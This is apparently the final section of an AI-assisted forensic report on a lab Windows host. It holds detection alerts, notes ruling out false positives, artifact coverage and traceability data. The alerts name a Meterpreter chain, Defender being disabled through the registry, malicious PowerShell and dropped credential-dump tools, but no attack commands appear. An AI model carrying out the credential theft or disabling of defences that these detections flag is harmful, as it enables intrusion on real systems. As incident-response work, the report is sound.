2023-11-10 10:17:53.989027	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	22	zircolite/zircolite_timeline_0.jsonl#195
2023-11-10 10:17:53.989027	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	22	chainsaw/chainsaw_0.jsonl#55
2023-11-10 10:17:54.028000	Hayabusa	critical	Defender Alert (Severe)	DESKTOP-KJ81A5A	Defender	1116	23	hayabusa/hayabusa_0.jsonl#5894
2023-11-10 10:17:54.028000	Hayabusa	critical	Antivirus - Exploitation Framework Signature	DESKTOP-KJ81A5A	Defender	1116	23	hayabusa/hayabusa_0.jsonl#5900
2023-11-10 10:17:54.028923	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	23	chainsaw/chainsaw_0.jsonl#57
2023-11-10 10:17:54.028923	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	23	chainsaw/chainsaw_0.jsonl#58
2023-11-10 10:17:54.028923	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	23	zircolite/zircolite_timeline_0.jsonl#196
2023-11-10 10:17:59.060735	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	24	chainsaw/chainsaw_0.jsonl#59
2023-11-10 10:17:59.060735	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	24	chainsaw/chainsaw_0.jsonl#60
2023-11-10 10:17:59.060735	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	24	zircolite/zircolite_timeline_0.jsonl#197
2023-11-10 10:19:36.396000	Hayabusa	critical	Defender Alert (Severe)	DESKTOP-KJ81A5A	Defender	1116	26	hayabusa/hayabusa_0.jsonl#5895
2023-11-10 10:19:36.396000	Hayabusa	critical	Antivirus - Exploitation Framework Signature	DESKTOP-KJ81A5A	Defender	1116	26	hayabusa/hayabusa_0.jsonl#5901
2023-11-10 10:19:36.396421	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	26	chainsaw/chainsaw_0.jsonl#61
2023-11-10 10:19:36.396421	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	26	chainsaw/chainsaw_0.jsonl#62
2023-11-10 10:19:36.396421	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	26	zircolite/zircolite_timeline_0.jsonl#199
2023-11-10 10:19:36.431000	Hayabusa	critical	Defender Alert (Severe)	DESKTOP-KJ81A5A	Defender	1116	27	hayabusa/hayabusa_0.jsonl#5896
2023-11-10 10:19:36.431000	Hayabusa	critical	Antivirus - Exploitation Framework Signature	DESKTOP-KJ81A5A	Defender	1116	27	hayabusa/hayabusa_0.jsonl#5902
2023-11-10 10:19:36.431470	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	27	chainsaw/chainsaw_0.jsonl#63
2023-11-10	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-	1116	27	chainsaw/

UTC	Engine	Level	Rule	Host	Channel	EventID	RecordID	Reference
10:19:36.431470					Windows-Windows Defender/Operational			chainsaw_0.jsonl#64
2023-11-10 10:19:36.431470	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	27	zircolite/zircolite_timeline_0.jsonl#200
2023-11-10 10:19:41.471520	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	28	chainsaw/chainsaw_0.jsonl#65
2023-11-10 10:19:41.471520	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	28	chainsaw/chainsaw_0.jsonl#66
2023-11-10 10:19:41.471520	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	28	zircolite/zircolite_timeline_0.jsonl#201
2023-11-10 10:19:46.897000	Hayabusa	high	Windows Defender Threat Detection Disabled	DESKTOP-KJ81A5A	Defender	5001	29	hayabusa/hayabusa_0.jsonl#5903
2023-11-10 10:19:46.897000	Hayabusa	high	Windows Defender Real-time Protection Disabled	DESKTOP-KJ81A5A	Defender	5001	29	hayabusa/hayabusa_0.jsonl#5905
2023-11-10 10:19:46.897377	Chainsaw	high	Windows Defender Real-time Protection Disabled	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	5001	29	chainsaw/chainsaw_0.jsonl#67
2023-11-10 10:19:46.897377	Zircolite	high	Windows Defender Real-time Protection Disabled	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	5001	29	zircolite/zircolite_timeline_0.jsonl#202
2023-11-10 11:02:11.567000	Hayabusa	high	Disable Windows Defender Functionalities Via Registry Keys	DESKTOP-KJ81A5A	Sysmon	13	292	hayabusa/hayabusa_0.jsonl#1615
2023-11-10 11:02:11.567907	Chainsaw	high	Disable Windows Defender Functionalities Via Registry Keys	DESKTOP-KJ81A5A	Microsoft-Windows-Sysmon/Operational	13	292	chainsaw/chainsaw_0.jsonl#24
2023-11-10 11:02:11.567907	Zircolite	high	Disable Windows Defender Functionalities Via Registry Keys - Sysmon	DESKTOP-KJ81A5A	Microsoft-Windows-Sysmon/Operational	13	292	zircolite/zircolite_timeline_0.jsonl#215
2023-11-10 11:02:12.400000	Hayabusa	high	Windows Defender Threat Detection Disabled	DESKTOP-KJ81A5A	Defender	5001	53	hayabusa/hayabusa_0.jsonl#5904
2023-11-10 11:02:12.400000	Hayabusa	high	Windows Defender Real-time Protection Disabled	DESKTOP-KJ81A5A	Defender	5001	53	hayabusa/hayabusa_0.jsonl#5906
2023-11-10 11:02:12.400713	Chainsaw	high	Windows Defender Real-time Protection Disabled	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	5001	53	chainsaw/chainsaw_0.jsonl#68
2023-11-10 11:02:12.400713	Zircolite	high	Windows Defender Real-time Protection Disabled	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	5001	53	zircolite/zircolite_timeline_0.jsonl#216
2023-11-10 11:06:40.922000	Hayabusa	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	PwSh	4104	68	hayabusa/hayabusa_0.jsonl#565
2023-11-10 11:06:40.922548	Chainsaw	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/Operational	4104	68	chainsaw/chainsaw_0.jsonl#5
2023-11-10 11:06:40.922548	Zircolite	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/Operational	4104	68	zircolite/zircolite_timeline_0.jsonl#229
2023-11-10 11:06:40.923000	Hayabusa	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	PwSh	4103	69	hayabusa/hayabusa_0.jsonl#562
2023-11-10 11:06:40.923254	Chainsaw	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/Operational	4103	69	chainsaw/chainsaw_0.jsonl#7
2023-11-10 11:06:40.923254	Zircolite	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/Operational	4103	69	zircolite/zircolite_timeline_0.jsonl#230
2023-11-10 11:06:40.925000	Hayabusa	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	PwSh	4104	72	hayabusa/hayabusa_0.jsonl#566
2023-11-10 11:06:40.925897	Chainsaw	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/Operational	4104	72	chainsaw/chainsaw_0.jsonl#9
2023-11-10 11:06:40.925897	Zircolite	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	Microsoft-Windows-	4104	72	zircolite/zircolite_timeline_0.json

UTC	Engine	Level	Rule	Host	Channel	EventID	RecordID	Reference
					PowerShell/ Operational			l#233
2023-11-10 11:06:40.926000	Hayabusa	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	PwSh	4103	73	hayabusa/ hayabusa_0.jsonl#563
2023-11-10 11:06:40.926630	Chainsaw	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/ Operational	4103	73	chainsaw/ chainsaw_0.jsonl#11
2023-11-10 11:06:40.926630	Zircolite	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/ Operational	4103	73	zircolite/ zircolite_timeline_0.jsonl#234
2023-11-10 11:06:40.929000	Hayabusa	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	PwSh	4103	77	hayabusa/ hayabusa_0.jsonl#564
2023-11-10 11:06:40.929000	Hayabusa	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	PwSh	4104	76	hayabusa/ hayabusa_0.jsonl#567
2023-11-10 11:06:40.929217	Chainsaw	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/ Operational	4104	76	chainsaw/ chainsaw_0.jsonl#13
2023-11-10 11:06:40.929217	Zircolite	high	Malicious PowerShell Commandlets - ScriptBlock	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/ Operational	4104	76	zircolite/ zircolite_timeline_0.jsonl#237
2023-11-10 11:06:40.929910	Chainsaw	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/ Operational	4103	77	chainsaw/ chainsaw_0.jsonl#15
2023-11-10 11:06:40.929910	Zircolite	high	Malicious PowerShell Commandlets - PoshModule	DESKTOP-KJ81A5A	Microsoft-Windows-PowerShell/ Operational	4103	77	zircolite/ zircolite_timeline_0.jsonl#238
2023-11-10 11:51:42.351000	Hayabusa	high	Cred Dump Tools Dropped Files	DESKTOP-KJ81A5A	Sysmon	11	3047	hayabusa/ hayabusa_0.jsonl#4774
2023-11-10 11:51:42.351351	Chainsaw	high	Cred Dump Tools Dropped Files	DESKTOP-KJ81A5A	Microsoft-Windows-Sysmon/ Operational	11	3047	chainsaw/ chainsaw_0.jsonl#28
2023-11-10 11:51:42.351351	Zircolite	high	Cred Dump Tools Dropped Files	DESKTOP-KJ81A5A	Microsoft-Windows-Sysmon/ Operational	11	3047	zircolite/ zircolite_timeline_0.jsonl#411
2023-11-10 11:51:53.866000	Hayabusa	high	Cred Dump Tools Dropped Files	DESKTOP-KJ81A5A	Sysmon	11	3076	hayabusa/ hayabusa_0.jsonl#4775
2023-11-10 11:51:53.866909	Chainsaw	high	Cred Dump Tools Dropped Files	DESKTOP-KJ81A5A	Microsoft-Windows-Sysmon/ Operational	11	3076	chainsaw/ chainsaw_0.jsonl#29
2023-11-10 11:51:53.866909	Zircolite	high	Cred Dump Tools Dropped Files	DESKTOP-KJ81A5A	Microsoft-Windows-Sysmon/ Operational	11	3076	zircolite/ zircolite_timeline_0.jsonl#412

Appendix C: Working notes (leads ruled out, false positives)

- [step 2] Step 2 alert triage — false positives / context: (1) 'Cred Dump Tools Dropped Files' 11:51:42/11:51:53 = procdump64.exe/procdump.exe copied by Explorer into Desktop\Tools\Forensic_Program_Files\SysinternalsSuite (analyst toolkit, FP). (2) 'Suspicious Service Path' (Printer Extensions, VMware SVGA Helper) = OS/VMware Tools install, FP. (3) 'User Added To Local Admin Grp' / 'Password Reset By Admin' 2023-11-09 = OOBE account creation (SIDs -1000/-1001), FP. (4) 'Suspicious Paths Service Installation' / 'Sysmon Configuration Change' / 'WMI Persistence' (SCM Event Provider 10:51:11) = Sysmon/VMware install, lab setup. (5) 'Proc Injection'/'Remote Thread in Shell Application' 10:55:29 (SrcPID 504 → powershell 7396, StartFunction CtrlRoutine in kernelbase) = console Ctrl+C handler, benign FP. (6) 'Hidden Executable In ADS' / 'Suspicious ADS File' = Zone.Identifier of Firefox/Edge downloads (NDP452, windowsdesktop-runtime-6.0.24, 7z2301), FP. (7) Autorun keys = OneDriveSetup RunOnce and .NET runtime burn RunOnce, FP. (8) Net Conn alerts = OneDrive, EdgeUpdate, KAPE/gkape, TimelineExplorer (analyst/system). (9) 'Usage Of Web Request' 11:21:30 + 'Set-ExecutionPolicy unrestricted' 11:21:23 = Get-KAPEUpdate.ps1 (analyst). hash_hits: no hash list loaded (hashset empty) — no conclusion possible from absence of match.
- [step 3] Step 3 noise excluded: VMware Tools, VC++ redist, Firefox 119 installer, OneDrive/EdgeWebView2 updates (11:13–11:16), Defender platform update (10:52), Sysmon install (10:50–10:51), KAPE/gkape, TimelineExplorer, 7-Zip 23.01 install (12:30), NDP452 web installer (11:38) – lab setup / analyst tooling. ipconfig (10:09:04) and gps/get-

service in PSReadLine are operator lab actions prior to detonation. No Amcache/BAM record for pscp.exe (not exhaustive). Sysmon EID 3 for pscp.exe/explorer 7324 C2 session not logged (only powershell 736 → 10.0.0.12 at 11:10:55); C2 port to be determined in the network step.

- [step 4] Step 4 persistence, ruled out as false positives:
  - OneDrive self-update (OneDrive.exe → OneDriveSetup.exe /update /restart /updateSource:ODU) at 2023-11-10 11:13:46–11:13:58 UTC. It wrote the HKCU RunOnce cleanup entries, the HKCU Run OneDrive and Microsoft Edge Update entries, 31 HKCU CLSID registrations, the OneDrive Standalone Update Task and the MicrosoftEdgeUpdateTaskUser Core/UA tasks. Its ancestry is legitimate, separate from the Meterpreter chain.
  - Defender tasks (11:03:03) come from a platform update; the Firefox tasks (10:25:49) come from the Firefox install.
  - The WMI 5861 "SCM Event Log Filter" binding is a Windows default.
  - The Sysmon 13 ImagePath writes at 10:52:42 are services.exe updating the Defender services.
  - 7045 entries cover VMware Tools, Mozilla Maintenance, Sysmon and WPD (lab setup).
- [step 6] Step 6 ruled-out leads: (1) WinRM/Operational 145/142/161/254 'Enumeration' of the local listener with error 2150858770 recur at every boot from 2023-11-09; this is benign WinRM service behaviour, not remote PowerShell. (2) PsExec.exe/PsExec64.exe under Desktop\Tools\...\SysinternalsSuite and the AnyDesk/TeamViewer/ScreenConnect/Splashtop/Atera .tkape/.map files belong to the analyst toolset (created 10:46–12:16) and never ran. (3) SMBServer 1010/1025/1027 and SmbClient 30810–30812 are transport binding events at boot.
- [step 7] Step 7 context, not findings:
  - PowerShell transcription is enabled (C:\Transcript\20231110). Transcripts PowerShell_transcript.DESKTOP-KJ81A5A.4_WbZ_YN.20231110030640.txt (11:06:40, 12,506 B; this lines up with the MSFConsole PowerShell host in injected explorer 7324) and ._h_Jx2Ns.20231110030910.txt (11:09:10–11:11:19, 10,284 B; lines up with powershell 736, the 1.exe download) are on disk (MFT 90502 / 90505), but their content was not parsed into the database. Review them offline.
  - The user's own transcript c4CYCMv_ (10:55:34) was deleted to the Recycle Bin at 10:56:07 ($RX8NRQ1.txt). Desktop\sysmon-config.xml (0 B) was recycled at 10:28:22. Both are lab setup activity.
  - Samsung T7 E: ShellBag 'E:\iphone files' (10:47:54) and Desktop\Tools, kape and Forensic_Program_Files ShellBags/LNK/Jump Lists are analyst tooling.
  - Thumbcache, WordWheelQuery (12:27, analyst) and Downloads\NDP452-KB2901954-Web.exe (11:38:51, .NET installer for tooling) show nothing related to the attack.
- [step 8] Step 8 – benign web activity (lab setup / analyst preparation, not findings): Edge searches 'download sysmon', 'swift on security sysmon config', 'download firefox' (10:23–10:25); Firefox searches 'download kape' (10:39), 'download winpmem' (10:46, winpmem_mini_x64_rc2.exe downloaded 10:47:15), 'turn on pwershell logging' (10:52), 'install .net 4.5.2' (11:38, NDP452-KB2901954-Web.exe downloaded). Firefox form history holds the Kroll KAPE download form (Marcus Edmondson, USMC, Security Analyst, e-mail) = analyst identity, PII. login.live.com OAuth entries at 11:13:56 relate to the OneDrive self-update. No attacker-intent searches, no Chromium/Chrome profile, no e-mail client artefacts in the collection.
- [step 9] Step 9, ruled out as anti-forensics:
  - wevtutil uninstall-manifest/install-manifest at 10:52:42 is child of MsMpEng (Defender platform update 4.18.23100.2009-0).
  - Sysmon 12 DeleteKey on WINEVT\Channels\Windows Defender/* is the same update.
  - 1102/104 events come from non-Eventlog providers.
  - 4616/Kernel-General 1 happen only at OOBE on 2023-11-09.
  - SI<FN files are VC++ redist, VMware Tools, .NET 6 and KAPE.
  - Sysmon EID 2 is the NDP452 web installer.
  - The deleted transcript (c4CYCMv_, 10:55:34) and sysmon-config.xml in the Recycle Bin are lab setup before the 11:03 execution.
  - Windows\Temp tw-/tpm-*.tmp deletions at 11:07:14 are Windows Update servicing.

- [step 10] Step 10 ruled-out leads: archives created 2023-11-10 (Sysmon[1].zip Edge cache, MSEDGE.7z Edge update, Appraiser cab, Desktop\Tools analyst archives) = lab/system; BITS jobs (Font Download, PreSignInSettingsConfigJSON, UpdateBinary OneDriveSetup, WebView2Bootstrapper, Edge installer) = Microsoft; Sysmon 3 from OneDrive/SharePoint/EdgeUpdate/Akamai and KAPE/gkape/powershell 5300 (s3-1.amazonaws.com, KAPE sync) = vendor/analyst; firewall 2004 Firefox rules = install. raw.odl / OneDrive SyncEngine DB not parsed – OneDrive only self-updated, no evidence of sync of user data. No 7-Zip history table, no rclone.
- [step 11] Step 11 time-consistency check: Sysmon 1 (11:03:09.903) vs Prefetch PSCP.EXE last run (11:03:09.900) agree within 3 ms; Prefetch of tracert/quser/tasklist/netstat/whoami/net1 match Sysmon 1 times; SRUM timestamps are hourly/minute interval ends (expected later). WebCache/Defender/USN times for the downloads (10:16–10:20) agree to the second. Only clock anomaly: OOBE 2023-11-09 18:58–19:00 offset (4616 during setup, pre-attack). Machine TZ Pacific (bias 480): 11:03 UTC = 03:03 local. 2026-10-19 timestamps (LNK, SRUM filenames) are copy artefacts. No timestomping on attack files (step 9).

Appendix E: Artifact coverage

Artifact	Tool	Mapping	Events	First (UTC)	Last (UTC)
$MFT	MFTECmd	validated	484855	1983-08-07 09:00:00	2023-11-10 12:33:26.066027
$UsnJrnl:$J	MFTECmd	validated	261790	2023-11-09 11:02:41.416985	2023-11-10 12:33:10.222282
Windows Search (indexed files)	SIDR	validated	88927	1983-08-07 09:00:00	2023-11-10 12:31:24.066015
Windows Search (Dissect)	Dissect	validated	88108	1983-08-07 09:00:00	2023-11-10 12:31:17.862700
$LogFile (reconstructed USN)	LogFileParser	validated	39210	2023-11-10 12:08:40.119081	2023-11-10 12:33:38.019166
Event logs (EVTX)	EvtxECmd	validated	28339	2023-11-09 11:02:41.058742	2023-11-10 12:32:16.919600
Registry (RECmd Kroll)	RECmd	validated	7163	2019-03-19 04:53:37.662461	2023-11-10 12:32:51.769147
SRUM (application timeline)	SrumECmd	validated	1739	2023-11-09 11:03:00	2023-11-10 11:43:00
Registry: services	RECmd	validated	884	2019-03-19 04:51:55.959153	2023-11-10 12:16:01.197200
Amcache (drivers)	AmcacheParser	validated	734	2019-03-19 04:43:33	2023-11-10 11:26:10.816544
SRUM (application resources)	SrumECmd	validated	669	2023-11-09 11:22:00	2023-11-10 11:43:00
Services (Dissect)	Dissect	validated	638	2019-03-19 04:51:55.959152	2023-11-10 12:13:55.853390
Prefetch	PECmd	validated	628	2023-11-09 11:02:54.416936	2023-11-10 12:31:24.097276
MUICache	Dissect	validated	310	2023-11-10 10:15:46.657461	2023-11-10 12:29:45.909084
Registry: TaskCache	RECmd	validated	287	2023-10-18 18:58:22.542424	2023-11-10 12:18:57.619018
Windows Timeline (Dissect)	Dissect	validated	276	2023-11-09 11:10:00	2023-11-10 12:33:04
Windows Timeline (ActivitiesCache)	WxTCmd	validated	261	2023-11-09 11:10:00	2023-11-10 12:33:04
ShimCache (AppCompatCache)	AppCompatCacheParser	validated	197	2019-03-19 04:43:45	2023-11-10 10:27:42
SRUM (network usage per application)	SrumECmd	validated	128	2023-11-09 11:22:00	2023-11-10 11:43:00
Jump Lists (automatic)	JLECmd	validated	127	2019-03-19 04:37:21.986161	2023-11-10 12:32:08.441022
Firefox browser (cookies)	SQLECmd	validated	124	2023-11-10 10:26:02	2023-11-10 11:38:51
SRUM (vfuprov)	SrumECmd	validated	118	2023-11-09 11:03:00	2023-11-10 11:43:00
Registry: Store applications	RECmd	validated	117	2023-11-09 11:09:54.920131	2023-11-10 10:09:49.915275
Amcache (programs)	AmcacheParser	validated	113	2023-11-10 00:00:00	2023-11-10 12:30:38.800197
Amcache (devices)	AmcacheParser	validated	113	2023-11-10 11:25:55.050921	2023-11-10 11:40:30.244015
ShellBags	SBECmd	validated	100	2022-12-09 12:44:10	2023-11-10 12:32:02
Amcache (files)	AmcacheParser	validated	98	2023-11-09 11:02:54.510687	2023-11-10 12:31:24.097276
Browser (history, Dissect)	Dissect	validated	83	2023-11-10 10:16:17.301104	2023-11-10 11:38:51.773000
LNK files	LECmd	validated	73	2012-07-26 01:26:44	2026-10-19 15:05:18
Jump Lists (custom)	JLECmd	validated	71	2019-03-19 04:46:41.241421	2023-11-10 12:28:36.673812
Internet Explorer / WebCache (history)	Dissect	validated	57	2023-11-10 10:16:17.301104	2023-11-10 11:35:02.285301

Artifact	Tool	Mapping	Events	First (UTC)	Last (UTC)
Amcache (shortcuts)	AmcacheParser	validated	53	2023-11-10 11:26:37.379069	2023-11-10 11:26:38.269713
setupapi.dev.log	plaso	validated	44	2023-11-09 11:04:10.991000	2023-11-10 11:40:25.775000
Registry: Uninstall	RECmd	validated	43	2019-03-19 04:55:43.844377	2023-11-10 12:30:37.800196
Windows Search (activity history)	SIDR	validated	40	2023-11-10 10:16:27	2023-11-10 12:30:35
PowerShell history (PSReadLine)	Dissect	validated	35	2023-11-10 11:36:48.063750	2023-11-10 11:36:48.063750
Registry (RECmd, complementary batch)	RECmd	validated	35	2019-03-19 04:53:38.271884	2023-11-10 12:31:23.987890
Registry: UserAssist	RECmd	validated	34	2023-11-09 11:08:12.358454	2023-11-10 12:31:21.268000
UserAssist (Dissect)	Dissect	validated	33	2023-11-09 11:08:12.358454	2023-11-10 12:30:33.504000
COM objects (HKCU CLSID, Dissect)	Dissect	validated	31	2023-11-10 11:13:54.056808	2023-11-10 11:13:58.009935
RecentDocs (Dissect)	Dissect	validated	29	2023-11-10 10:50:32.262308	2023-11-10 11:35:02.285301
Registry: BAM/DAM	RECmd	validated	29	2023-11-09 11:09:52.545138	2023-11-10 12:31:08.706447
BAM (Dissect)	Dissect	validated	29	2023-11-09 11:09:52.545137	2023-11-10 11:58:10.416000
Firefox browser (visits)	SQLECmd	validated	26	2023-11-10 10:25:57	2023-11-10 11:38:51
Registry: App Paths	RECmd	validated	23	2019-03-19 04:53:43.397292	2023-11-10 12:30:37.800196
Installed applications	Dissect	validated	21	2019-03-19 04:55:44.453800	2023-11-10 10:25:49.409302
Scheduled tasks (XML)	Dissect	validated	17	2005-06-23 21:48:00	2016-01-01 00:00:00
Firefox browser (bookmarks)	SQLECmd	validated	17	2023-11-10 10:25:57	2023-11-10 10:25:58
Registry: DeviceClasses	RECmd	validated	11	2023-11-09 18:58:09.491228	2023-11-10 10:45:49.017736
Registry: accounts (SAM)	RECmd	validated	11	2023-11-09 11:02:46.526328	2023-11-10 10:42:23.548039
Run keys	Dissect	validated	10	2023-11-09 18:58:13.620546	2023-11-10 11:13:57.541187
Registry: USB	RECmd	validated	10	2023-11-09 18:58:09.372752	2023-11-10 11:40:19.244013
Firefox browser (form history)	SQLECmd	validated	9	2023-11-10 10:39:39	2023-11-10 11:38:42
Registry: Products (MSI)	RECmd	validated	9	2023-11-10 10:14:02.428574	2023-11-10 12:29:29.888889
Registry: RecentDocs	RECmd	validated	9	2023-11-10 10:50:32.262308	2023-11-10 12:32:08.503524
SRUM (network connections)	SrumECmd	validated	8	2023-11-09 11:02:44	2023-11-10 11:43:00
Browser (downloads, Dissect)	Dissect	validated	6	2023-11-10 10:19:53.882523	2023-11-10 11:38:52.452000
Registry: SCSI	RECmd	validated	6	2023-11-09 18:58:07.326300	2023-11-10 11:40:19.728426
SRUM (push notifications)	SrumECmd	validated	6	2023-11-10 10:10:00	2023-11-10 11:43:00
Registry: ProfileList	RECmd	validated	5	2019-03-19 04:55:43.891255	2023-11-10 10:42:10.391791
Firefox browser (downloads)	SQLECmd	validated	4	2023-11-10 10:47:15	2023-11-10 11:38:52
MRU OpenSave (Dissect)	Dissect	validated	4	2023-11-10 11:13:56.556810	2023-11-10 11:13:56.556810
Recycle Bin (Dissect)	Dissect	validated	3	2023-11-10 10:20:20.820000	2023-11-10 10:56:07.136999
Recycle Bin ($I)	RBCmd	validated	3	2023-11-10 10:20:20	2023-11-10 10:56:07
AppInit_DLLs (Dissect)	Dissect	validated	2	2019-03-19 04:55:43.766245	2023-11-09 18:58:12.323683
Registry: known networks	RECmd	validated	2	2023-11-09 19:00:26.938000	2023-11-10 11:07:13.338000
Registry: OpenSavePidlMRU	RECmd	validated	2	2023-11-10 11:13:56.556811	2023-11-10 11:13:56.556811
Registry: VolumeInfoCache	RECmd	validated	2	2023-11-09 11:02:48.151313	2023-11-10 10:45:49.033342
Registry: RADAR (memory leaks)	RECmd	validated	2	2023-11-10 10:30:34.478433	2023-11-10 10:40:34.490348
Internet Explorer / WebCache (downloads)	Dissect	validated	2	2023-11-10 10:19:53.882523	2023-11-10 10:23:54.319485
Network history	Dissect	validated	2	2023-11-09 19:00:26.000938	2023-11-10 11:07:13.000338
Registry: LastVisitedPidlMRU	RECmd	validated	1	2023-11-10 11:13:56.556811	2023-11-10 11:13:56.556811
Registry: CIDSizeMRU	RECmd	validated	1	2023-11-10 11:13:56.588067	2023-11-10 11:13:56.588067
Defender (exclusions)	Dissect	validated	1	2023-11-10 10:52:49.247112	2023-11-10 10:52:49.247112

Artifact	Tool	Mapping	Events	First (UTC)	Last (UTC)
Registry: portable devices (WPD)	RECmd	validated	1	2023-11-10 10:45:49.033342	2023-11-10 10:45:49.033342
MRU LastVisited (Dissect)	Dissect	validated	1	2023-11-10 11:13:56.556810	2023-11-10 11:13:56.556810
Registry: WordWheelQuery (Explorer searches)	RECmd	validated	1	2023-11-10 12:27:19.400274	2023-11-10 12:27:19.400274

Appendix F: Traceability

DuckDB database	C:\Sleuthline\cases\test01\db\case.duckdb SHA-256 43e2c1c47047027b87c8125a010937400335c8670635bca03cfc40a1c0829075
Pipeline version	commit 364268ea83a1; content sha256 B14AD179924B89A9; deployed 2026-10-19 16:59
Collection integrity	INTACT: 1569 file(s) matching the SHA-1 recorded by KAPE, 0 different, 0 missing, 0 without KAPE hash, 1 expected difference(s) on files copied live in raw mode (checked on 2026-10-19T17:09:59+02:00) Expected differences (raw live copy: $MFT, $LogFile…): C:\$LogFile After parsing: no collection file modified by parsing
Normalization mappings	v2.0 sha256 827ddb5b0a51a48f611f7205d26c6fb1dc1b7e3f15de6f180daba4f96b02ad28
Model	anthropic / claude-opus-5-5
Agent runs	2026-10-19T15:42:35Z → 2026-10-19T16:04:32Z: anthropic/claude-opus-5-5, playbook sha256 d51a2f0361dc1cd2…
Usage	8,994,893 input tokens (of which 8,381,872 read from cache), 123,980 output tokens, 153 calls
Full trace	C:\Sleuthline\cases\test01\analysis\transcript.jsonl: every SQL query, result and model answer
Analysis state	C:\Sleuthline\cases\test01\analysis\findings.json
Exports	iocs.csv, key_timeline.csv, incident_timeline.csv
Reference format	<output relative to parsed>#<record number>: CSV data line (header excluded) or JSONL line
Report generated on	2026-10-19 16:04 UTC